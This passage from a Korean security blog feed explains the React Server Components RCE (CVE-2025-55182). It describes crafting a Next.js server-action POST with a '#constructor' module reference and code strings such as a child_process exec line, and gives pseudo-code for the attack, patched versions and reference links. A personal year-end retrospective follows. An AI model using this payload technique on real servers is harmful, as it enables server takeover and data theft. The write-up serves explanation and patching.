&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;559&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yJlyp/dJMcaacHMum/J1zqAdl7K7C6ZwcbFRkS4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yJlyp/dJMcaacHMum/J1zqAdl7K7C6ZwcbFRkS4K/img.png&quot; data-alt=&quot;나노바나나 생성 이미지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yJlyp/dJMcaacHMum/J1zqAdl7K7C6ZwcbFRkS4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyJlyp%2FdJMcaacHMum%2FJ1zqAdl7K7C6ZwcbFRkS4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;393&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;559&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;나노바나나 생성 이미지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 공격은 난이도가 매우 낮은 편입니다. 공격자는 특정한 HTTP 요청 한 번으로 취약한 서버를 장악할 수 있기 때문이다. 별도 인증이나 탐색 절차도 필요없고, 냅다 공격 페이로드 실행해보면 취약한 서버의 경우 코드를 실해하고 유효한 응답이 수신되기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대상 선정&lt;/b&gt;: 먼저 공격자는 대상 웹애플리케이션이 React 19 기반의 RSC 기능(Next.js 앱 라우터 등)을 사용 중인지 파악합니다. Next.js 13 이상(15,16 버전 포함)으로 구축된 사이트나 RSC 프레임워크 사용 흔적이 있다면 취약할 가능성이 높습니다. (실제로 Wiz의 연구에 따르면 클라우드 환경의 약 39%가 이번 취약한 버전의 React/Next.js 인스턴스를 포함하고 있었다고 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;악성 페이로드 제작&lt;/b&gt;: 공격자는 RSC의 Flight 프로토콜 형식에 맞춘 특수한 페이로드를 생성합니다. 예를 들어, Next.js의 경우 _next 경로 하위에 서버 액션 호출을 위한 엔드포인트가 있으며 여기에 필요한 헤더(Next-Action 또는 RSC-Action-ID 등)와 폼 데이터 등을 첨부해 POST 요청을 보낼 수 있습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청에는 평문으로 표현하면 다음과 같은 내용이 포함됩니다:&lt;br /&gt;&lt;b&gt;모듈 식별자와 export 이름&lt;/b&gt;: 예컨대 &lt;code&gt;user-profile-action#constructor&lt;/code&gt;처럼 모듈 이름 뒤에 &lt;code&gt;#constructor&lt;/code&gt;를 붙여, 해당 모듈의 &lt;code&gt;constructor&lt;/code&gt; 속성을 요구합니다.&lt;br /&gt;여기서 &lt;code&gt;user-profile-action&lt;/code&gt;은 원래 애플리케이션에 존재하는 서버 액션 모듈 식별자이며, &lt;code&gt;#constructor&lt;/code&gt;는 취약점을 노린 부분입니다.&lt;br /&gt;&lt;b&gt;바운드될 인자&lt;/b&gt;: 실행시키려는 악성 코드 문자열을 배열 형태로 첨부합니다. 예를 들어 &lt;code&gt;\[&quot;console.log('Pwned!')&quot;\]&lt;/code&gt; 또는 &lt;code&gt;\[&quot;require('child\_process').exec('touch /tmp/pwned')&quot;\]&lt;/code&gt; 와 같이 JavaScript 코드 한 줄을 문자열로 넣을 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1764862282030&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 공격자가 구성한 서버 액션 호출 페이로드의 효과 (의사 코드)
const moduleExports = require('user-profile-action');    // 정상 모듈 로드
const FnConstructor = moduleExports[&quot;constructor&quot;];      // 취약: 'constructor' 프로퍼티 획득 (Function 생성자)
const maliciousFunc = FnConstructor.bind(null, &quot;console.log('서버 공격 성공')&quot;);
// 이제 maliciousFunc를 서버 액션으로 호출:
maliciousFunc();  // 내부적으로 new Function(&quot;console.log('서버 공격 성공')&quot;) 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위&amp;nbsp;가상의&amp;nbsp;흐름처럼&amp;nbsp;서버는&amp;nbsp;공격자가&amp;nbsp;보낸&amp;nbsp;문자열을&amp;nbsp;new&amp;nbsp;Function으로&amp;nbsp;실행하게&amp;nbsp;되며,&amp;nbsp;결과적으로&amp;nbsp;원격&amp;nbsp;명령&amp;nbsp;실행이&amp;nbsp;이뤄집니다.&amp;nbsp;이&amp;nbsp;공격은&amp;nbsp;단일&amp;nbsp;HTTP&amp;nbsp;요청으로&amp;nbsp;완료되기에&amp;nbsp;탐지와&amp;nbsp;대응이&amp;nbsp;어렵고,&amp;nbsp;웹&amp;nbsp;방화벽(WAF)의&amp;nbsp;보호가&amp;nbsp;없거나&amp;nbsp;패치가&amp;nbsp;적용되지&amp;nbsp;않은&amp;nbsp;서비스라면&amp;nbsp;쉽게&amp;nbsp;뚫릴&amp;nbsp;수&amp;nbsp;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;영향도와 대응방안&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 취약점들은 React 생태계에서 전례 없이 심각한 보안 버그로 평가됩니다. 서버 사이드에서 사용되는 React/Next.js 코드의 보안 취약으로 RCE가 발생한 것은 매우 이례적이며, 수많은 현대 웹애플리케이션에 광범위한 영향을 줄 수 있기 때문입니다. 특히 Next.js 앱의 기본 설정조차 영향받았다는 점, 그리고 익명 원격 공격으로 한 방에 서버를 장악할 수 있다는 점에서 공격자들의 관심이 집중되고 있습니다.&amp;nbsp;실제로&amp;nbsp;공개&amp;nbsp;직후부터&amp;nbsp;관련&amp;nbsp;취약점에&amp;nbsp;대한&amp;nbsp;공격&amp;nbsp;시도가&amp;nbsp;급증할&amp;nbsp;것으로&amp;nbsp;예상되고&amp;nbsp;있으며,&amp;nbsp;보안&amp;nbsp;업계에서는&amp;nbsp;이를&amp;nbsp;&amp;ldquo;언제&amp;nbsp;공격당해도&amp;nbsp;이상하지&amp;nbsp;않은&amp;rdquo;&amp;nbsp;상황으로&amp;nbsp;인식하고&amp;nbsp;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;영향&amp;nbsp;범위:&amp;nbsp;&lt;/b&gt;React&amp;nbsp;19.0.0&amp;nbsp;~&amp;nbsp;19.2.0&amp;nbsp;및&amp;nbsp;이를&amp;nbsp;활용한&amp;nbsp;Next.js&amp;nbsp;15.x,&amp;nbsp;16.x&amp;nbsp;등이&amp;nbsp;모두&amp;nbsp;취약&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;취약점&amp;nbsp;악용의&amp;nbsp;파급력:&amp;nbsp;&lt;/b&gt;공격 성공 시 애플리케이션 서버에서 임의 코드 실행이 가능하므로, 공격자는 서버 권한으로 데이터베이스 접속, 민감정보 탈취, 랜섬웨어 설치 등 2차 피해 가능&lt;br /&gt;Next.js 등의 서버가 Node.js 환경에서 동작하므로 Node.js API를 통해 OS 명령 실행, 파일 읽기/쓰기, 네트워크 접근 가능&lt;br /&gt;&lt;br /&gt;&lt;b&gt;패치&amp;nbsp;적용:&amp;nbsp;&lt;/b&gt;React는 해당 취약점을 수정한 버전을 릴리즈했으며, React react-server-dom-* 패키지는 19.0.1, 19.1.2, 19.2.1로 업데이트되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js도 각 메이저 버전에 대한 보안 업데이트를 배포하여, 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 등으로 업그레이드할 것을 권고하고 있습니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1764862465893&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Critical Security Vulnerability in React Server Components &amp;ndash; React&quot; data-og-description=&quot;The library for web and native user interfaces&quot; data-og-host=&quot;react.dev&quot; data-og-source-url=&quot;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&quot; data-og-url=&quot;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/9dTzA/hyZOJQ9hpW/f3Ym0G3aeKiv06e5Gwgi5K/img.png?width=1080&amp;amp;height=567&amp;amp;face=0_0_1080_567,https://scrap.kakaocdn.net/dn/gLxK4/hyZOOSsjrC/0AOI6Pv6ZwafB2xGWm2cN1/img.png?width=1080&amp;amp;height=567&amp;amp;face=0_0_1080_567&quot;&gt;&lt;a href=&quot;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/9dTzA/hyZOJQ9hpW/f3Ym0G3aeKiv06e5Gwgi5K/img.png?width=1080&amp;amp;height=567&amp;amp;face=0_0_1080_567,https://scrap.kakaocdn.net/dn/gLxK4/hyZOOSsjrC/0AOI6Pv6ZwafB2xGWm2cN1/img.png?width=1080&amp;amp;height=567&amp;amp;face=0_0_1080_567');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Critical Security Vulnerability in React Server Components &amp;ndash; React&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The library for web and native user interfaces&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;react.dev&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182&quot;&gt;https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1764862548459&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Critical RCE Vulnerabilities Discovered in React &amp;amp; Next.js  | Wiz Blog&quot; data-og-description=&quot;React and Next.js are exposed to critical unauthenticated RCE via CVE-2025-55182 and CVE-2025-66478. Learn which versions are impacted and how to mitigate.&quot; data-og-host=&quot;www.wiz.io&quot; data-og-source-url=&quot;https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182&quot; data-og-url=&quot;https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cnMOk4/hyZPfaEPTe/5GrcicJLkd1tkAaiTjeeLK/img.jpg?width=1224&amp;amp;height=690&amp;amp;face=0_0_1224_690&quot;&gt;&lt;a href=&quot;https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cnMOk4/hyZPfaEPTe/5GrcicJLkd1tkAaiTjeeLK/img.jpg?width=1224&amp;amp;height=690&amp;amp;face=0_0_1224_690');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Critical RCE Vulnerabilities Discovered in React &amp;amp; Next.js | Wiz Blog&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;React and Next.js are exposed to critical unauthenticated RCE via CVE-2025-55182 and CVE-2025-66478. Learn which versions are impacted and how to mitigate.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.wiz.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://vercel.com/changelog/cve-2025-55182&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://vercel.com/changelog/cve-2025-55182&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1764862545669&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Summary of CVE-2025-55182 - Vercel&quot; data-og-description=&quot;Vercel has provided a patch for CVE-2025-55182 affecting any frameworks allowing Server Components usage.&quot; data-og-host=&quot;vercel.com&quot; data-og-source-url=&quot;https://vercel.com/changelog/cve-2025-55182&quot; data-og-url=&quot;https://vercel.com/changelog/cve-2025-55182&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/jWKgD/hyZORiaX4f/NPMRWKhaKdb7GEwQM897bk/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628,https://scrap.kakaocdn.net/dn/foowG/hyZORP0ULY/AZxo2ODSkeVW2pPDkK7Ri0/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628&quot;&gt;&lt;a href=&quot;https://vercel.com/changelog/cve-2025-55182&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://vercel.com/changelog/cve-2025-55182&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/jWKgD/hyZORiaX4f/NPMRWKhaKdb7GEwQM897bk/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628,https://scrap.kakaocdn.net/dn/foowG/hyZORP0ULY/AZxo2ODSkeVW2pPDkK7Ri0/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Summary of CVE-2025-55182 - Vercel&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Vercel has provided a patch for CVE-2025-55182 affecting any frameworks allowing Server Components usage.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;vercel.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182?hl=en&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182?hl=en&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1764862549108&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Responding to CVE-2025-55182 | Google Cloud Blog&quot; data-og-description=&quot;Follow these recommendations to minimize remote code execution risks in React and Next.js from CVE-2025-55182 vulnerabilities.&quot; data-og-host=&quot;cloud.google.com&quot; data-og-source-url=&quot;https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182?hl=en&quot; data-og-url=&quot;https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/d0FYjw/hyZPgOaRH8/9relQPkQgKHIamBApKWk9k/img.jpg?width=2600&amp;amp;height=1280&amp;amp;face=0_0_2600_1280,https://scrap.kakaocdn.net/dn/b3dZNQ/hyZPkQzK5D/Hu9U2u6YxPmlVmAUnk9WJk/img.jpg?width=2600&amp;amp;height=1280&amp;amp;face=0_0_2600_1280,https://scrap.kakaocdn.net/dn/vCTYD/hyZPcZi7ru/yAm7GPFGTkEGkewbhXmOo1/img.png?width=560&amp;amp;height=700&amp;amp;face=0_0_560_700&quot;&gt;&lt;a href=&quot;https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182?hl=en&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182?hl=en&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/d0FYjw/hyZPgOaRH8/9relQPkQgKHIamBApKWk9k/img.jpg?width=2600&amp;amp;height=1280&amp;amp;face=0_0_2600_1280,https://scrap.kakaocdn.net/dn/b3dZNQ/hyZPkQzK5D/Hu9U2u6YxPmlVmAUnk9WJk/img.jpg?width=2600&amp;amp;height=1280&amp;amp;face=0_0_2600_1280,https://scrap.kakaocdn.net/dn/vCTYD/hyZPcZi7ru/yAm7GPFGTkEGkewbhXmOo1/img.png?width=560&amp;amp;height=700&amp;amp;face=0_0_560_700');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Responding to CVE-2025-55182 | Google Cloud Blog&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Follow these recommendations to minimize remote code execution risks in React and Next.js from CVE-2025-55182 vulnerabilities.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;cloud.google.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/WEB</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/306</guid>
      <comments>https://gomguk.tistory.com/306#entry306comment</comments>
      <pubDate>Fri, 5 Dec 2025 05:36:30 +0900</pubDate>
    </item>
    <item>
      <title>2025년 회고</title>
      <link>https://gomguk.tistory.com/305</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;요즘&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;일&amp;nbsp;잘다니고,&amp;nbsp;대학원도&amp;nbsp;입학해서&amp;nbsp;다니고&amp;nbsp;있다.&amp;nbsp;특수&amp;nbsp;대학원인데&amp;nbsp;퇴근하고&amp;nbsp;하루,&amp;nbsp;주말&amp;nbsp;하루를&amp;nbsp;학교에서&amp;nbsp;보낸다.&amp;nbsp;간간히&amp;nbsp;새로운&amp;nbsp;기술&amp;nbsp;나오는&amp;nbsp;것들을&amp;nbsp;보면&amp;nbsp;신기하고&amp;nbsp;블로그에&amp;nbsp;써야겠다&amp;nbsp;싶다가도&amp;nbsp;시간이&amp;nbsp;잘&amp;nbsp;나지&amp;nbsp;않는다.&amp;nbsp;초심을&amp;nbsp;잃은&amp;nbsp;것&amp;nbsp;같은&amp;nbsp;자신에&amp;nbsp;화가&amp;nbsp;나서&amp;nbsp;한번&amp;nbsp;블로그&amp;nbsp;글도&amp;nbsp;전부&amp;nbsp;비공개로&amp;nbsp;했었다.&amp;nbsp;공들여서&amp;nbsp;쓴&amp;nbsp;글들인데&amp;nbsp;너무&amp;nbsp;방치되는&amp;nbsp;것&amp;nbsp;같아서&amp;nbsp;싫었다.&amp;nbsp;지인들이&amp;nbsp;블로그&amp;nbsp;무슨일이냐고&amp;nbsp;물었다.&amp;nbsp;예상치&amp;nbsp;못한&amp;nbsp;자리에서&amp;nbsp;누군가가&amp;nbsp;&quot;블로그&amp;nbsp;잘&amp;nbsp;보고&amp;nbsp;있다&quot;고&amp;nbsp;한다.&amp;nbsp;내&amp;nbsp;글이&amp;nbsp;누군가에&amp;nbsp;닿고&amp;nbsp;있다.&amp;nbsp;또&amp;nbsp;힘을&amp;nbsp;얻는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;리더십&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;나에게&amp;nbsp;'과업'이라는&amp;nbsp;건&amp;nbsp;일을&amp;nbsp;효율적으로&amp;nbsp;수행하는&amp;nbsp;것&amp;nbsp;이상이었다.&amp;nbsp;나는&amp;nbsp;MBTI로&amp;nbsp;말하면&amp;nbsp;ISTJ적인&amp;nbsp;성향을&amp;nbsp;가지고&amp;nbsp;있어&amp;nbsp;논리적&amp;nbsp;사고&amp;nbsp;중심의&amp;nbsp;결정&amp;nbsp;구조,&amp;nbsp;계획&amp;nbsp;지향성이&amp;nbsp;강하다.&amp;nbsp;나와&amp;nbsp;오랜&amp;nbsp;대화를&amp;nbsp;함께한&amp;nbsp;GPT에게&amp;nbsp;나의&amp;nbsp;성향을&amp;nbsp;물었더니&amp;nbsp;뛰어난&amp;nbsp;메타인지&amp;nbsp;능력과&amp;nbsp;분석력,&amp;nbsp;실행의&amp;nbsp;치밀함을&amp;nbsp;가진&amp;nbsp;사람이라고&amp;nbsp;한다.&amp;nbsp;그러나&amp;nbsp;이&amp;nbsp;장점은&amp;nbsp;동시에&amp;nbsp;감정의&amp;nbsp;배제,&amp;nbsp;실패&amp;nbsp;회피,&amp;nbsp;지나친&amp;nbsp;자기&amp;nbsp;점검이라는&amp;nbsp;그림자를&amp;nbsp;동반한다. &lt;br /&gt;&lt;br /&gt;맡은&amp;nbsp;일&amp;nbsp;열심히&amp;nbsp;잘하고&amp;nbsp;산출물&amp;nbsp;잘&amp;nbsp;내면&amp;nbsp;일&amp;nbsp;잘하는&amp;nbsp;것으로만&amp;nbsp;알았다.&amp;nbsp;논리를&amp;nbsp;설계하고&amp;nbsp;기준을&amp;nbsp;만들어서&amp;nbsp;그것들을&amp;nbsp;잘&amp;nbsp;지키면&amp;nbsp;뛰어난&amp;nbsp;역량을&amp;nbsp;가지는&amp;nbsp;것으로&amp;nbsp;평가되는&amp;nbsp;것으로만&amp;nbsp;알았다.&amp;nbsp;그러나&amp;nbsp;여러&amp;nbsp;리더들과&amp;nbsp;일을&amp;nbsp;해보니&amp;nbsp;그렇지&amp;nbsp;않았다.&amp;nbsp;'사람'과&amp;nbsp;'프로세스'를&amp;nbsp;동시에&amp;nbsp;품으면서&amp;nbsp;프로젝트를&amp;nbsp;잘&amp;nbsp;드라이브&amp;nbsp;하는&amp;nbsp;것도&amp;nbsp;능력이었다.&amp;nbsp;사람이&amp;nbsp;무너지면&amp;nbsp;프로세스도&amp;nbsp;따라서&amp;nbsp;무너진다. &lt;br /&gt;&lt;br /&gt;조직을&amp;nbsp;설계하듯,&amp;nbsp;사람&amp;nbsp;간의&amp;nbsp;신뢰도&amp;nbsp;설계할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;그&amp;nbsp;설계&amp;nbsp;도구는&amp;nbsp;정서적인&amp;nbsp;공감,&amp;nbsp;자율성&amp;nbsp;부여,&amp;nbsp;실수에&amp;nbsp;대한&amp;nbsp;관용,&amp;nbsp;질문의&amp;nbsp;여유를&amp;nbsp;꼽는다.&amp;nbsp;이런&amp;nbsp;것들을&amp;nbsp;배울&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;멋진&amp;nbsp;사람들과&amp;nbsp;일하고&amp;nbsp;있다. &lt;br /&gt;&lt;br /&gt;나의&amp;nbsp;치밀함과&amp;nbsp;설계&amp;nbsp;능력이&amp;nbsp;사람을&amp;nbsp;살리고,&amp;nbsp;조직을&amp;nbsp;움직이게&amp;nbsp;만들&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;이제는&amp;nbsp;'정확한&amp;nbsp;사람'에서&amp;nbsp;'영향력&amp;nbsp;있는&amp;nbsp;사람'으로&amp;nbsp;확장하고&amp;nbsp;싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;감정 표현&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;한때는&amp;nbsp;멋진&amp;nbsp;글을&amp;nbsp;쓰는&amp;nbsp;브런치&amp;nbsp;작가가&amp;nbsp;되고&amp;nbsp;싶은&amp;nbsp;적도&amp;nbsp;있었다.&amp;nbsp;그것도&amp;nbsp;어려웠다.&amp;nbsp;곧&amp;nbsp;깨달은&amp;nbsp;것은,&amp;nbsp;이것은&amp;nbsp;단순히&amp;nbsp;글쓰기의&amp;nbsp;어려움이&amp;nbsp;아니라&amp;nbsp;감정이라는&amp;nbsp;비정형&amp;nbsp;데이터를&amp;nbsp;다루는&amp;nbsp;데&amp;nbsp;어려움을&amp;nbsp;겪는&amp;nbsp;것이었다. &lt;br /&gt;&lt;br /&gt;종종&amp;nbsp;스스로에게&amp;nbsp;질문을&amp;nbsp;던진다. &lt;br /&gt;&lt;br /&gt;&amp;nbsp;1.&amp;nbsp;정말로&amp;nbsp;감정을&amp;nbsp;느끼지&amp;nbsp;않는&amp;nbsp;것인가? &lt;br /&gt;&amp;nbsp;2.&amp;nbsp;아니면&amp;nbsp;느끼고&amp;nbsp;있지만&amp;nbsp;언어화하는&amp;nbsp;데&amp;nbsp;익숙하지&amp;nbsp;않은가? &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;둘을&amp;nbsp;구분하는&amp;nbsp;연습을&amp;nbsp;하고&amp;nbsp;있다.&amp;nbsp;지금&amp;nbsp;느끼는&amp;nbsp;감정에&amp;nbsp;이름을&amp;nbsp;붙이고&amp;nbsp;구체적인&amp;nbsp;언어로&amp;nbsp;인식해&amp;nbsp;보려&amp;nbsp;한다.&amp;nbsp;또&amp;nbsp;감정이&amp;nbsp;순간적으로&amp;nbsp;일어났더라도&amp;nbsp;'이게&amp;nbsp;타당한&amp;nbsp;감정인가?',&amp;nbsp;'그냥&amp;nbsp;피곤해서&amp;nbsp;그런&amp;nbsp;걸&amp;nbsp;수도&amp;nbsp;있어'라는&amp;nbsp;식으로&amp;nbsp;감정을&amp;nbsp;재해석&amp;nbsp;하지&amp;nbsp;않도록&amp;nbsp;주의한다.&amp;nbsp;감정을&amp;nbsp;느끼는&amp;nbsp;중간&amp;nbsp;상태도&amp;nbsp;충분히&amp;nbsp;표현한다.&amp;nbsp;글쓰기&amp;nbsp;도중의&amp;nbsp;망설임,&amp;nbsp;어딘가&amp;nbsp;애매한&amp;nbsp;표현마저도&amp;nbsp;텍스트로&amp;nbsp;표현한다. &lt;br /&gt;&lt;br /&gt;완성하지&amp;nbsp;않아도&amp;nbsp;괜찮다.&amp;nbsp;하나하나&amp;nbsp;완성된&amp;nbsp;글을&amp;nbsp;쓰려다가&amp;nbsp;전부&amp;nbsp;지운&amp;nbsp;적이&amp;nbsp;많다.&amp;nbsp;'완성'보다&amp;nbsp;'흐름'을&amp;nbsp;담는다.&amp;nbsp;'의미&amp;nbsp;없는&amp;nbsp;글쓰기'를&amp;nbsp;습관화해서&amp;nbsp;심리적&amp;nbsp;장벽을&amp;nbsp;낮추고&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
